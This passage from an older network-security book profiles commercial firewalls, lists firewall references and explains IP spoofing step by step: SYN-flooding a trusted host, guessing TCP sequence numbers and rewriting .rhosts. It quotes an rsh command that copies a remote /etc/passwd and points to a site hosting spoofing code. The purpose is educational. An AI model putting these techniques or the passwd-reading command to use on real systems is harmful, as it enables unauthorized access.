restrict addresses that are known hacking or cracking havens. \n \n" }, { "page_number": 511, "text": " \n \nNOTE: I would restrict all known hacking and cracking addresses. For example, a well- \nknown hacking group recently conducted a wide scan of U.S. domains, purportedly under \nthe guise of security research. This caused a stir in security-related mailing lists and \nnewsgrouqa and rightly so. \n \nAre Firewalls Foolproof? \nAre firewalls foolproof? Are humans foolproof? The answer to both questions is no. \nFirewall products have not been proven to be flawed, but human implementation has. \nCrackers have conducted various studies on breaking firewalls. The majority of those \nstudies point to two phases of an attack. The first is to discover what type of firewall \nexists on a particular network and what type of services are running behind it. That first \ntask has already been encapsulated in an automated package; the Jakal scanner can \naccomplish this for you. \nThe second task, finding a hole in the firewall, is a bit more difficult. Cracker studies \nindicate that if there is such a hole, it exists as a result of human error (or rather, \nmisconfiguration on the part of the system administrator). This is not a rare occurrence. \nOne must recognize that no matter what platform is in use, this is a problem. In UNIX \nnetworks, it can be at least partially attributed to the fact that UNIX is so complex. There \nare hundreds of native applications, protocols, and commands. This is before you begin to \nconstruct a firewall. Failed firewall implementation on Microsoft platforms might occur \nfor other reasons (for instance, because administrators might be unfamiliar with TCP/IP). \nIn either case, human error is a likely possibility. For this reason, companies should be \nextremely selective when choosing the personnel responsible for implementing the \nfirewall. Some common cracker agendas include \n• \nSorting out the real components from the fake ones--Many firewalls use sacrificial hosts, \nmachines designed either as Web servers (that the owners are willing to part with) or decoys. \nDecoys are nothing more than traps, places where an inexperienced cracker's activities are \ncaptured and logged. These can employ complex means of veiling their bogus character. For \nexample, they might issue responses to emulate a real file system or real applications. These \ngenerally are deeply entrenched in a chroot'd environment. The cracker's first task is to identify \nwhat viable targets might actually exist. \n \nCross Reference: Decoys bear at least a fleeting resemblance to the box (reportedly built \nby Steven Bellovin) described in the article by B. Cheswick titled \"An Evening With \nBerferd In Which a Cracker is Lured, Endured and Studied.\" This article can be found \nonline at \nftp://research.att.com/dist/internet_security/berferd.ps. \n \n• \nTrying to get some definitive information about the internal system--This applies especially to \nmachines that serve mail and other services. At a minimum, you should attempt to get an insider to \nsend you a mail message so that the paths can be examined. This might give you a clue as to how \nsome portions of the network are constructed. \n• \nKeeping up with the current advisories--In certain situations, new bugs arise in commonly used \nprograms that can run on or behind the firewall. These holes might be able to get you at least the \nminimum access necessary to gain a better look. \n" }, { "page_number": 512, "text": " \n \nAlso, no firewall can effectively prevent attacks from the inside. If a cracker can place \nsomeone (perhaps himself or herself) in your employ, it won't be long before your \nnetwork is cracked. I know someone who managed to gain employment with a well-\nknown oil company. That hacker collected extensive information not only about the \ninternal network there, but also about the firewall hosts. \nFinally, firewalls have been bypassed or broken in the past. The Quake site at Crack dot \nCom is one such example. Although relatively little information has been distributed \nabout how the crack was accomplished, it was reported in Wired that: \nHackers broke into the Web server and file server of Crack dot Com, a Texas gaming company, on \nWednesday, stealing the source code for id's Quake 1.01, as well as Crack's newest project, \nGolgotha, and older games Abuse and Mac Abuse...The hackers, who were able to get through the \nCrack's firewall, left intact a bash-history file that recorded all their movements. \n \nCross Reference: The preceding paragraph is excerpted from \"Hackers Hack Crack, \nSteal Quake,\" an article, by Annaliza Savage, that appeared in Wired. Find the article \nonline at http://www.wired.com/news/culture/story/1418.html. \n \nIt is possible to identify the type of firewall being run on a given server. However, \nprinting that is beyond the level of irresponsibility to which I am prepared to stoop just to \nsell a book. I will say this: You can do it with a combination of the Jakal scanner and a \nscript written to jackhammer a site. Which addresses are blocked matters less than how \nthey are blocked (that is, you need to elicit responses from the firewall). \nCommercial Firewalls \nThe Eagle Family of Firewalls by Raptor \nCompany: Raptor Systems \nSpecs: http://www.raptor.com/products/brochure/40broch.html \nHome: http://www.raptor.com \nRaptor has been around a long time. It introduced its line of firewall products in 1991. \nThe company has a solid reputation. As stated in its online company description: \n...Raptor Systems' award-winning Eagle family of firewalls provides security across a range of \nindustries, including telecommunications, entertainment, aerospace, defense, education, health \ncare, and financial services. Raptor has numerous strategic relationships with world-class \ncompanies like Compaq Computer Corporation, Siemens-Nixdorf, Hewlett-Packard, Sprint, and \nShiva Corporation. \n \nCross Reference: Check out Raptor's online company description at \nhttp://www.raptor.com/products/brochure/40broch.html#aboutra\nptor. \n \nIts products combine a wide range of firewall techniques, including heavy logging; \nspecialized, event-triggered treatment of suspicious activity; and extremely granular \naccess controls. This family of firewall products integrates application proxies. \n" }, { "page_number": 513, "text": " \n \nCheck Point Firewall and Firewall-1 \nCompany: Check Point Software Technologies Ltd. \nSpecs: http://www.checkpoint.com/products/firewall/intro.html \nHome: http://www.checkpoint.com/ \nCheck Point is based in Israel and was founded in 1993. It also has outposts in eight U.S. \ncities, including Redwood City, Los Angeles, New York, and others. The product line \noffers cross-platform support. \n \nCross Reference: Articles and press releases about Check Point are located online at \nhttp://www.checkpoint.com/press/index.html. More important \ninformation about Check Point's flagship product is located at \nhttp://www.checkpoint.com/products/white/index.html. \n \nOne of the more interesting elements of Check Point Firewall-1 is that it includes time \nobject control. That is, one can assign certain times of the day to perform certain access \nrestrictions. Firewall-1 also has provisions to distribute process loads among a series of \nworkstations. \nSunScreen \nCompany: Sun Microsystems \nSpecs: http://www.sun.com/security/overview.html \nHome: http://www.sun.com \nSun's SunScreen is comprised of a series of products. In the SunScreen product line, Sun \nhas addressed one of the primary problems I mentioned previously: If your bottleneck is \nbroken, your network is completely exposed. Sun's new line of products will likely \nrevolutionize the firewall industry (certainly on the Sun platform). The chief products \ninclude \n• \nSunScreen SPF 100/100G--Turnkey solution that provides non-IP-address capability. That is, \ncrackers from the outside cannot reliably identify the nodes behind the wall. Moreover, heavy \npacket-filtering technology has been added. \n• \nSunScreenTM EFS--Implements heavy-duty packet filtering and more importantly, encryption. \nSpecial amenities include provisions for remote administration and administration through an \nHTML interface. \n \nCross Reference: Some specs for SunScreen EFS are located online at \nhttp://www.sun.com/security/prod_spec.html. \n \n• \nSunScreenTM SKIP--This is an interesting product that provides PCs and workstations with secure \nauthentication. \n \n" }, { "page_number": 514, "text": " \n \nCross Reference: Check out SunScreen SKIP online at \nhttp://www.sun.com/security/skip.html. \n \nIBM Internet Connection Secured Network Gateway \nCompany: Internal Business Machines (IBM) \nSpecs: http://www.ics.raleigh.ibm.com/firewall/info.htm \nHome: http://www.ics.raleigh.ibm.com/firewall/overview.htm \nThis product is designed for AIX. Like Sun's SunScreen product line, it is capable of \nhiding the IPs of your internal network. It supports application proxies and has \nexceptional logging and reporting capabilities, as well as isolated Web services. \n \nCross Reference: For an extremely comprehensive study of IBM's Internet Connection \nSecured Network Gateway, visit http://www.ncsa.com/fpfs/ibm.html at \nNCSA. \n \nCisco PIX Firewall \nCompany: Cisco Systems \nSpecs: http://www.cisco.com/univercd/data/doc/cintrnet/prod_cat/pcpix.htm \nHome: http://www.cisco.com \nThis firewall relies not on application proxies (which can consume additional network \nresources and CPU time) but instead on a secure operating system within the hardware \ncomponent itself. Special features include an HTML configuration and administration \ncontrol tool, IP concealment and non-translation, easy configuration, and support for \n16,000 instant connections. \nSummary \nFirewalls now comprise the most commonly accepted method of protecting a network \nand, for the most part, seem to be impenetrable when attacked by 95 percent of the \ncracking community. Moreover, firewall technology is yet in its infancy. Nevertheless, \nfirewalls have been cracked in the past. It is also worth noting that some firewalls can \nraise security issues themselves. For example, it was recently found that the Gopher \nproxy in a Raptor product can, under certain circumstances, leave a Windows NT server \nvulnerable to a denial-of-service attack. (The CPU climbs to near 100 percent utilization.) \nThe future of firewall technology is a very interesting field indeed. However, if you have \ntruly sensitive data to protect (and it must be connected to the Internet), I advise against \nusing a firewall (commercial or otherwise) as your only means of defense. \nResources \n" }, { "page_number": 515, "text": " \n \nInternet Firewalls and Network Security (Second Edition). Chris Hare and Karanjit \nSiyan. New Riders. ISBN: 1-56205-632-8. 1996. \nInternet Firewalls. Scott Fuller and Kevin Pagan. Ventana Communications Group Inc. \nISBN: 1-56604-506-1. 1997. \nBuilding Internet Firewalls. D. Brent Chapman and Elizabeth D. Zwicky. O'Reilly & \nAssociates. ISBN: 1-56592-124-0. 1995. \nFirewalls and Internet Security : Repelling the Wily Hacker. William R. Cheswick \nand Steven M. Bellovin. Addison-Wesley Professional Computing. ISBN: 0-201-63357-\n4. 1994. \nActually Useful Internet Security Techniques. Larry J. Hughes, Jr. New Riders. ISBN: \n1-56205-508-9. 1995. \nInternet Security Resource Library: Internet Firewalls and Network Security, \nInternet Security Techniques, Implementing Internet Security. New Riders. ISBN: 1-\n56205-506- 2. 1995. \nFirewalls FAQ. Marcus J. Ranum. \n• \nhttp://www.cis.ohio-state.edu/hypertext/faq/usenet/firewalls-\nfaq/faq.html \nNCSA Firewall Policy Guide. Compiled by Stephen Cobb, Director of Special Projects. \nNational Computer Security Association. \n• \nhttp://www.ncsa.com/fwpg_p1.html \nComparison: Firewalls. Comprehensive comparison of a wide variety of firewall \nproducts. LANTimes. June 17, 1996. \n• \nhttp://www.lantimes.com/lantimes/usetech/compare/pcfirewl.html \nThere Be Dragons. Steven M. Bellovin. Proceedings of the Third Usenix UNIX Security \nSymposium, Baltimore, September 1992. AT&T Bell Laboratories, Murray Hill, NJ. \nAugust 15, 1992. \nRating of Application Layer Proxies. Michael Richardson. \n• \nhttp://www.sandelman.ottawa.on.ca/SSW/proxyrating/proxyrating.html \nKeeping Your Site Comfortably Secure: An Introduction to Internet Firewalls. John \nP. Wack and Lisa J. Carnahan. National Institute of Standards and Technology. \n• \nhttp://csrc.ncsl.nist.gov/nistpubs/800-10/ \nSQL*Net and Firewalls. David Sidwell and Oracle Corporation. \n• \nhttp://www.zeuros.co.uk/firewall/library/oracle-and-fw.pdf \n" }, { "page_number": 516, "text": " \n \nCovert Channels in the TCP/IP Protocol Suite. Craig Rowland. Rotherwick & \nPsionics Software Systems Inc. \n• \nhttp://www.zeuros.co.uk/firewall/papers.htm \nIf You Can Reach Them, They Can Reach You. William Dutcher. A PC Week Online \nSpecial Report, June 19, 1995. \n• \nhttp://www.pcweek.com/sr/0619/tfire.html \nPacket Filtering for Firewall Systems. February 1995. CERT (and Carnegie Mellon \nUniversity). \n• \nftp://info.cert.org/pub/tech_tips/packet_filtering \nNetwork Firewalls. Steven M. Bellovin and William R. Cheswick. IEEECM, 32(9), pp. \n50-57, September 1994. \nSession-Layer Encryption. Matt Blaze and Steve Bellovin. Proceedings of the Usenix \nSecurity Workshop, June 1995. \nA Network Perimeter With Secure External Access. Frederick M. Avolio and Marcus \nJ. Ranum. An extraordinary paper that details the implementation of a firewall \npurportedly at the White House. \n• \nhttp://www.alw.nih.gov/Security/FIRST/papers/firewall/isoc94.ps \nPackets Found on an Internet. Steven M. Bellovin. Lambda. Interesting analysis of \npackets appearing at the application gateway of AT&T. \n• \nftp://ftp.research.att.com/dist/smb/packets.ps \nUsing Screend to Implement TCP/IP Security Policies. Jeff Mogul. Rotherwick and \nDigital. \n• \nhttp://www.zeuros.co.uk/firewall/library/screend.ps \nFirewall Application Notes. Livingston Enterprises, Inc. Good document that starts by \ndescribing how to build a firewall. It also addresses application proxies, Sendmail in \nrelation to firewalls, and the characteristics of a bastion host. \n• \nhttp://www.telstra.com.au/pub/docs/security/firewall-1.1.ps.Z \nX Through the Firewall, and Other Application Relays. Treese/Wolman. Digital \nEquipment Corp. Cambridge Research Lab. \n• \nftp://crl.dec.com/pub/DEC/CRL/tech-reports/93.10.ps.Z \nIntrusion Protection for Networks 171. BYTE Magazine. April, 1995. \nBenchmarking Methodology for Network Interconnect Devices (RFC 1944). S. \nBradner and J. McQuaid. \n" }, { "page_number": 517, "text": " \n \n• \nftp://ds.internic.net/rfc/rfc1944.txt \nFirewall Performance Measurement Techniques: A Scientific Approach. Marcus \nRanum. \n• \nhttp://www.v-one.com/pubs/perf/approaches.htm \nWarding Off the Cyberspace Invaders. Amy Cortese. Business Week. 03/13/95. \nVulnerability in Cisco Routers Used as Firewalls. Computer Incident Advisory \nCapability Advisory: Number D-15. \n• \nhttp://ciac.llnl.gov/ciac/bulletins/d-15.shtml \nWAN-Hacking with AutoHack--Auditing Security behind the Firewall. Alec D.E. \nMuffett. Written by the author of Crack, the famous password-cracking program. \nExtraordinary document that deals with methods of auditing security from behind a \nfirewall (and auditing of a network so large that it contained tens of thousands of hosts). \n• \nhttp://solar.net.ncu.edu.tw/~jslee/me/docs/muffett-autohack.ps \nWindows NT Firewalls Are Born. PC Magazine. February 4, 1997. \n• \nhttp://www.pcmagazine.com/features/firewall/_open.htm \nIP v6 Release and Firewalls. Uwe Ellermann. 14th Worldwide Congress on Computer \nand Communications Security. Protection, pp. 341-354, June 1996. \nThe SunScreen Product Line Overview. Sun Microsystems. \n• \nhttp://www.sun.com/security/overview.html \nProduct Overview for IBM Internet Connection Secured Network Gateway for \nAIX, Version 2.2. IBM firewall information. \n• \nhttp://www.ics.raleigh.ibm.com/firewall/overview.htm \nThe Eagle Firewall Family. Raptor firewall information. \n• \nhttp://www.raptor.com/products/brochure/40broch.html \nSecure Computing Firewall&tm; for NT. Overview. Secure Computing. \n• \nhttp://www.sctc.com/NT/HTML/overview.html \nCheck Point FireWall-1 Introduction. Check Point Technologies firewall information. \n• \nhttp://www.checkpoint.com/products/firewall/intro.html \nCisco PIX Firewall. Cisco Systems firewall information. \n• \nhttp://www.cisco.com/univercd/data/doc/cintrnet/prod_cat/pcpix.htm \n" }, { "page_number": 518, "text": " \n \nProtecting the Fortress From Within and Without. R. Scott Raynovich. LAN Times. \nApril 1996. \n• \nhttp://www.wcmh.com/lantimes/96apr/604c051a.html \nInternet Firewalls: An Introduction. Firewall white paper. NMI Internet Expert \nServices. \n• \nhttp://www.netmaine.com/netmaine/whitepaper.html \nFeatures of the CentriTM Firewall. Centri firewall information. \n• \nhttp://www.gi.net/security/centrifirewall/features.html \nFive Reasons Why an Application Gateway Is the Most Secure Firewall. Global \nInternet. \n• \nhttp://www.gi.net/security/centrifirewall/fivereasons.html \n" }, { "page_number": 519, "text": " \n \n28 \nSpoofing Attacks \nThere has never been more controversy about a cracking technique than the controversy \nsurrounding IP spoofing. IP spoofing is the most talked about and least understood \nmethod of gaining unauthorized entry to a computer system. For example, a well \npublicized spoofing case occurred in December, 1994. John Markoff, in his article that \nappeared in The New York Times titled \"New Form of Attack on Computers Linked to \nInternet is Uncovered,\" reported: \nThe first known attack using the new technique took place on Christmas day against the computer \nof a well-known computer security expert at the San Diego Supercomputer Center. An individual \nor group of unknown intruders took over his computer for more than a day and electronically stole \na large number of security programs he had developed. \nThat report was not entirely accurate. The IP spoofing technique was not \"new,\" nor was \nit \"uncovered.\" Rather, it has been known for more than a decade that IP spoofing was \npossible. To my knowledge, the first paper written on this subject was published in \nFebruary 1985. That paper was titled \"A Weakness in the 4.2BSD UNIX TCP/IP \nSoftware,\" and it was written by Robert Morris, an engineer at AT&T Bell Laboratories \nin Murray Hill, New Jersey. \nIP Spoofing \nBecause I want to relay information about IP spoofing as accurately as possible, I will \napproach the subject in a slow and deliberate fashion. If you already know a bit about the \ntechnique, you would be wise to skip ahead to the section titled \"Point of Vulnerability: \nThe R Services.\" \nI should immediately make three points about IP spoofing: \n• \nFew platforms are vulnerable to this technique. \n• \nThe technique is quite complex and is not commonly understood, even by talented crackers. It is \ntherefore rare. \n• \nIP spoofing is very easily prevented. \nWhat Is a Spoofing Attack? \nA spoofing attack involves nothing more than forging one's source address. It is the act of \nusing one machine to impersonate another. To understand how this occurs, you must \nknow a bit about authentication. \nEvery user has encountered some form of authentication. This encounter most often \noccurs while connecting to a network. That network could be located in the user's home, \nhis office, or, as in this case, the Internet. The better portion of authentication routines \n" }, { "page_number": 520, "text": " \n \nknown to the average user occur at the application level. That is, these methods of \nauthentication are entirely visible to the user. The typical example is when a user is \nconfronted with a password prompt on FTP or Telnet. The user enters a username and a \npassword; these are authenticated, and the user gains access to the resource. \nOn the Internet, application-level authentication routines are the minority. Each second, \nauthentication routines that are totally invisible to the user occur. The difference between \nthese routines and application-level authentication routines is fundamental. In \napplication-level authentication, a machine challenges the user; a machine requests that \nthe user identify himself. In contrast, non-application-level authentication routines occur \nbetween machines. One machine demands some form of identification from another. \nUntil this identification is produced and validated, no transactions occur between the \nmachines engaged in the challenge-response dialog. \nSuch machine-to-machine dialogs always occur automatically (that is, they occur without \nhuman intervention). In the IP spoofing attack, the cracker attempts to capitalize on the \nautomated nature of the dialog between machines. Thus, the IP spoofing attack is an \nextraordinary method of gaining access because in it, the cracker never uses a username \nor password. \nThis, for many people, is difficult to grasp. Consequently, reports of IP spoofing have \nneedlessly caused much fear and paranoia on the Internet. \nWho Can Be Spoofed? \nThe IP spoofing attack is unique in that it can only be implemented against a certain class \nof machines running true TCP/IP. True TCP/IP is any fully fledged implementation of \nTCP/IP, or one that--in its out-of-the-box state--encompasses all available ports and \nservices within the TCP/IP suite. By this, I am referring almost exclusively to those \nmachines running certain versions of UNIX (only a handful are easily spoofed). PC \nmachines running DOS, Windows, or Windows 95 are not included in this group. Neither \nare Macintoshes running MacOS. (It is theoretically possible that Macs running A/UX \nand PCs running Linux could be vulnerable, given the right circumstances.) \nI cannot guarantee that other configurations or services will not later be proven \nvulnerable to IP spoofing, but for the moment the list of vulnerable services is short \nindeed: \n• \nAny configuration using Sun RPC calls \n• \nAny network service that utilizes IP address authentication \n• \nThe X Window System from MIT \n• \nThe R services \n" }, { "page_number": 521, "text": " \n \nSun RPC refers to Sun Microsystems' standard of Remote Procedure Calls, which are \nmethods of issuing system calls that work transparently over networks (that is, of \nexecuting commands over remote machines or networks). \n \nCross Reference: The RFC that addresses RPC, titled \"RPC: Remote Procedure Call \nProtocol Specification,\" can be found at \nhttp://www.pasteur.fr/other/computer/RFC/10xx/1057. \n \nIP address authentication uses the IP address as an index. That is, the target machine \nauthenticates a session between itself and other machines by examining the IP address of \nthe requesting machine. There are different forms of IP authentication, and most of them \nare vulnerable to attack. A good discussion about this appears in a classic paper written \nby Steve M. Bellovin titled \"Security Problems in the TCP/IP Protocol Suite\": \nIf available, the easiest mechanism to abuse is IP source routing. Assume that the target host uses \nthe reverse of the source route provided in a TCP open request for return traffic...The attacker can \nthen pick any IP source address desired, including that of a trusted machine on the target's local \nnetwork. \n \nCross Reference: \"Security Problems in the TCP/IP Protocol Suite\" by Steve M. \nBellovin can be found on the Web at \nftp://ftp.research.att.com/dist/internet_security/ipext.ps.Z\n. \n \nPoint of Vulnerability: The R Services \nIn the UNIX environment, the R services are rlogin and rsh. The r represents the word \nremote. These two programs are designed to provide users with remote access to other \nmachines on the Internet. Although these programs may be compared to programs of a \nsimilar ilk (for example, people often liken rlogin to Telnet), these programs (or services) \nare unique: \n• \nrlogin provides a means to remotely log in to another machine. It is similar to Telnet. Today, \nrlogin is generally restricted to local use. Few networks support long-distance remote rlogin \nsessions because rlogin has been deemed a security problem. \n• \nrsh allows you to start an instance of the shell on a remote machine. It can be used to execute \ncommands on a remote host. For example, in a completely unrestricted network environment, you \ncould print the password file of a remote machine to the local one by issuing the command rsh \nour_target.com cat /etc/passwd >> our_target.com_passwd. rsh, as you \nmight expect, is a huge security hole and it is usually disabled. \nThe R services are vulnerable to IP spoofing attacks. \nHow Spoofing Attacks Work \nSpoofing attacks differ from random scanning and other techniques used to ascertain \nholes in the system. Spoofing attacks occur only after a particular machine has been \nidentified as vulnerable. By the time the cracker is ready to conduct a spoofing attack, he \nor she knows the target network is vulnerable and which machine is to be attacked. \n" }, { "page_number": 522, "text": " \n \nTrust Relationships and Spoofing Generally \nNearly all forms of spoofing (and there are types other than IP spoofing) rely on trust \nrelationships within the target network. By trust, I don't mean human or application-layer \ntrust. Instead, I refer to trust between machines. \nChapter 18, \"Novell,\" briefly discusses spoofing of a hardware address on an Ethernet \nnetwork. This is accomplished by redefining the network address of the workstation used \nto perform the spoof. In Novell networks, this is commonly accomplished by redefining \nthis value in the NET.CFG file, which contains parameters that are loaded upon boot and \nconnection to the network. NET.CFG includes many options for altering the configuration \nby hand (which is useful, because conventional configurations sometimes fail to come \nout correctly). To sidestep possible problems with factory configurations, changes may \nbe made directly to the interface using this file. Options include number of buffers, what \nprotocols are to be bound to the card, port number, MDA values, and the node address. \nHardware address spoofing is, to a certain extent, also dependent upon the card. Cards \nthat do not allow for software-driven settings of the hardware address are generally \nuseless in this regard. You might be able to report an address, but in most instances, the \ntechnique does not actually work. Older cards support software-driven alteration of the \naddress, usually with a jumper setting. (This is done by shorting out the jumper pins on \nthe card.) A good example is the old Western Digital Ethernet card. Newer cards are \nmore likely to automatically allow software-driven changes, whereas IRQ settings may \nstill be a jumper issue. It is likely, however, that in the near future, Ethernet cards may \nnot have jumpers at all due to the fact that plug-and-play technology has emerged. \n \nNOTE: Jumpers are small plastic sheaths that slip over pins on a computer card (this \ncard could be an Ethernet card, a motherboard, a modem, or a hard disk drive controller). \nThese plastic jumpers are typically used to set addresses on such cards. The manufacturer \nof the card generally includes a manual on their product which shows the locations of \njumpers on the board. Such manuals also usually describe different ways of configuring \nyour jumpers. A jumper pin set consists of two pins. If these pins are covered by a plastic \njumper sheath, they are deemed to be shorted out. Shorting out different jumpers alters \nthe configuration of the card. Jumper pin sets are typically arranged in a row on the \nboard. For example, a modem that has jumpers to assign IRQ addresses will probably \nhave four or five jumper pin sets. By covering various combinations of these pin sets with \nplastic jumper sheaths, you can change the IRQ from three to four, five, seven, and so \nforth. \n \n \nCAUTION: Never use MAC addresses as an index for authentication. Mac addresses on \nmost modern cards can be changed easily using existing software or quickly hacked code. \nIt is argued that MAC address spoofing is difficult because when two machines have the \nsame MAC address on the same segment, communication failures and crashes result. \nNote, however, that this is not always true. This generally happens when both are trying \nto reach the same resource or when the active protocol is IPX (NetWare). In a passive \nstate, these could co-exist, particularly in a TCP/IP environment. Nonetheless, there is no \nguarantee that the packets will arrive in a pristine state. \n \nThis type of spoofing works because each machine on a given network segment trusts its \npals on that same segment. Barring the installation of a hub that hardwire-routes packets \n" }, { "page_number": 523, "text": " \n \nto each machine, at least a few trust relationships between machines will exist within a \nsegment. Most commonly, those machines know each other because their addresses are \nlisted within some database on each machine. In IP-based networks, this is done using the \nIP address--I hope--or with the hostname. (Using hostnames is a potential security \nproblem in itself. Whenever possible, hard numeric addresses should be used.) \nMachines within a network segment that are aware of the addresses of their pals are \nreferred to as machines that trust each other. When such a trust relationship exists, these \nmachines may remotely execute commands for each other with no more authentication \nthan is required to identify the source address. \nCrackers can determine trust relationships between machines using a wide range of \ncommands or, more commonly, using scanners. One can, for example, scan a host and \neasily determine whether the R services are running. Whatever method is used, the \ncracker will attempt to map the trust relationships within the target network. \nAnatomy of an IP Spoofing Attack \nLet's begin our analysis at a point after the cracker has determined the levels of trust \nwithin the network. An overview of one segment of our mock target network, called \nNexus, is shown in Figure 28.1. \nFIGURE 28.1. \nOverview of Nexus segment. \nAs you can see, this segment has two trust relationships: Nexus 1 trusts Nexus 2, and \nNexus 2 trusts Nexus 3. To gain access to Nexus, then, the cracker has two choices: \n• \nHe can spoof either Nexus 1 or Nexus 3, claiming to be Nexus 2 \n• \nHe can spoof Nexus 2, claiming to be either Nexus 1 or Nexus 3 \nThe cracker decides to spoof Nexus 2, claiming to be Nexus 3. Thus, his first task is to \nattack Nexus 3 and temporarily incapacitate it. \n \nNOTE: It is not always necessary to incapacitate the machine from which you are \nclaiming to originate. On Ethernet networks in particular, however, you may have to. If \nyou do not, you may cause the network to hang. \n \nStep One: Putting Nexus 3 to Sleep \nTo temporarily incapacitate Nexus 3, the cracker must time out (hang or temporarily \nrender inoperable) that machine on the targeted port (the port that would normally \nrespond to requests about to be issued). \nNormally, when a request is issued from Nexus 3 to Nexus 2, Nexus 2 replies to Nexus 3 \non a given port. That response generates a response from Nexus 3. The cracker, however, \ndoes not want Nexus 3 to respond because he wants to respond with his own packets, \nposing as Nexus 3. \n" }, { "page_number": 524, "text": " \n \nThe technique used to time out Nexus 3 is not particularly important as long as it is \nsuccessful. The majority of such attacks are accomplished by generating a laundry list of \nTCP SYN packets, or requests for a connection. These are generated from a bogus \naddress and forwarded to Nexus 3, which tries to respond to them. You may remember \nthat in Chapter 4, I discussed what happens when a flurry of connection requests are \nreceived by a machine that cannot resolve the connection. This is one common element \nof a denial-of-service attack, or the technique known as syn_flooding. \nThe cumulative effect of the flooding times out Nexus 3. That is, Nexus 3 attempts to \nresolve all the connection requests it received, one at a time. The machine's queue is \nflooded. It cannot respond to additional packets until the queue is at least partially \ncleared. Therefore--at least on that port--Nexus 3 is temporarily down, or unreachable; it \nwill not respond to requests sent by Nexus 2. \nStep Two: Discovering Nexus 2's Sequence Number \nThe next step of the process is fairly simple. The cracker sends a series of connection \nrequests to Nexus 2, which responds with a series of packets indicating receipt of the \ncracker's connection requests. Contained within these response packets is the key to the \nspoofing technique. \nNexus 2 generates a series of sequence numbers. Chapter 6, \"A Brief Primer on TCP/IP,\" \nmentioned that sequence numbers are used in TCP/IP to mark and measure the status of a \nsession. An articled titled \"Sequence Number Attacks\" by Rik Farrow articulates the \nconstruct of the sequence number system. Farrow explains: \nThe sequence number is used to acknowledge receipt of data. At the beginning of a TCP \nconnection, the client sends a TCP packet with an initial sequence number, but no \nacknowledgment (there can't be one yet). If there is a server application running at the other end of \nthe connection, the server sends back a TCP packet with its own initial sequence number, and an \nacknowledgment: the initial sequence number from the client's packet plus one. When the client \nsystem receives this packet, it must send back its own acknowledgment: the server's initial \nsequence number plus one. Thus, it takes three packets to establish a TCP connection... \n \nCross Reference: Find \"Sequence Number Attacks\" by Rik Farrow online at \nhttp://www.wcmh.com/uworld/archives/95/security/001.txt.html\n. \n \nEach side must adhere to the sequence number scheme. If not, there is no way to reliably \ntransfer data across the network. As articulated by Robert Morris in his article titled \"A \nWeakness in the 4.2BSD UNIX TCP/IP Software\": \n4.2BSD maintains a global initial sequence number, which is incremented by 128 each second and \nby 64 after each connection is started; each new connection starts off with this number. When a \nSYN packet with a forged source is sent from a host, the destination host will send the reply to the \npresumed source host, not the forging host. The forging host must discover or guess what the \nsequence number in that lost packet was, in order to acknowledge it and put the destination TCP \nport in the ESTABLISHED state. \n \nCross Reference: Find Morris's article online at \nftp://ftp.research.att.com/dist/internet_security/117.ps.Z. \n \n" }, { "page_number": 525, "text": " \n \nThis procedure begins with reading the sequence numbers forwarded by Nexus 2. By \nanalyzing these, the cracker can see how Nexus 2 is incrementing them. There must be a \npattern, because this incremental process is based on an algorithm. The key is identifying \nby what values these numbers are incremented. When the cracker knows the standard \npattern Nexus 2 is using to increment these numbers, the most difficult phase of the \nattack can begin. \nDriving Blind \nHaving obtained the pattern, the cracker generates another connection request to Nexus 2, \nclaiming to hail from Nexus 3. Nexus 2 responds to Nexus 3 as it normally would, \ngenerating a sequence number for the connection. However, because Nexus 3 is \ntemporarily incapacitated, it does not answer. Instead, the cracker answers. \nThis is the most difficult part of the attack. Here, the cracker must guess (based on his \nobservations of the sequence scheme) what sequence number Nexus 2 expects. In other \nwords, the cracker wants to throw the connection into an ESTABLISHED state. To do so, he \nmust respond with the correct sequence number. But while the connection exchange is \nlive, he cannot see the sequence numbers being forwarded by Nexus 2. Therefore, the \ncracker must send his requests blind. \n \nNOTE: The cracker cannot see the sequence numbers because Nexus 2 is sending them \n(and they are being routed) to Nexus 3, the actual, intended recipient. These are routed to \nNexus 3 because Nexus 3 is the owner of the actual IP address. The cracker, in contrast, \nonly purports to have Nexus 3's IP. \n \nIf the cracker correctly guesses the sequence number, a connection is established between \nNexus 2 and the cracker's machine. For all purposes, Nexus 2 now believes the cracker is \nhailing from Nexus 3. What remains is fairly simple. \nOpening a More Suitable Hole \nDuring the time the connection is established, the cracker must create a more suitable \nhole through which to compromise the system (he should not be forced to spoof each \ntime he wants to connect). He therefore fashions a custom hole. Actual cases suggest that \nthe easiest method is to re-write the .rhosts file so that Nexus 2 will accept connections \nfrom any source without requiring additional authentication. \nThe cracker can now shut down all connections and reconnect. He is now able to log in \nwithout a password and has run of the system. \nHow Common Are Spoofing Attacks? \nSpoofing attacks are rare, but they do occur. Consider this Defense Data Network \nadvisory from July, 1995: \nASSIST has received information about numerous recent IP spoofing attacks directed against \nInternet sites internationally. A large number of the systems targeted in the IP spoofing attacks are \nname servers, routers, and other network operation systems, and the attacks have been largely \nsuccessful. \n" }, { "page_number": 526, "text": " \n \n \nCross Reference: To view the DDN bulletin online, visit \nftp://nic.ddn.mil/scc/sec-9532.txt. \n \nThe attack documented by John Markoff in The New York Times occurred over the \nChristmas holiday of 1994. By mid-1995, the attack had been discussed in cracker circles \nacross the Internet. After it was demonstrated that the Morris attack technique was \nactually possible, crackers quickly learned and implemented IP spoofing worldwide. In \nfact, source code for pre-fabbed spoofing utilities was posted at sites across the Net. A \nfad was established. \n \nCross Reference: One of these individuals posted to a well-known security list with the \nsubject line \"Introducing in the Left Corner: Some Spoofing Code.\" The posting was a \nbrief description of a paper (and accompanying code) available on the author's Web site. \nIt is still available today. It can be found at \nhttp://main.succeed.net/~coder/spoofit/spoofit.html. \nBecause this is not owned by the user, and because it is located in a foreign country, I \nadvise you to save it to your local disk. The spoofing code is good. The author also offers \ncode to hijack Telnet sessions and a general-purpose C program to kill TCP connections \non your subnet. \n \nEven though the word is out on spoofing, the technique is still quite rare. This is because, \nagain, crackers require particular tools and skills. For example, this technique cannot--to \nmy knowledge--be implemented on a non-UNIX operating system. However, I cannot \nguarantee that this situation will remain. Before long, someone will introduce a \nWindows-based auto-spoofer written in Visual C++ or some other implementation of \nC/C++. I suspect that these will be available within a year. For the moment, the technique \nremains a UNIX thing and therefore, poses all the same obstacles (root access, \nknowledge of C, technical prowess to manipulate the kernel, and so forth) as other \nUNIX-based cracking techniques. \nSpoofing is sometimes purposely performed by system administrators. This type of \nspoofing, however, varies considerably from typical IP spoofing. It is referred to as LAN \nspoofing or WAN spoofing. These techniques are used primarily to hold together disparate \nstrings of a WAN (see Figure 28.2). 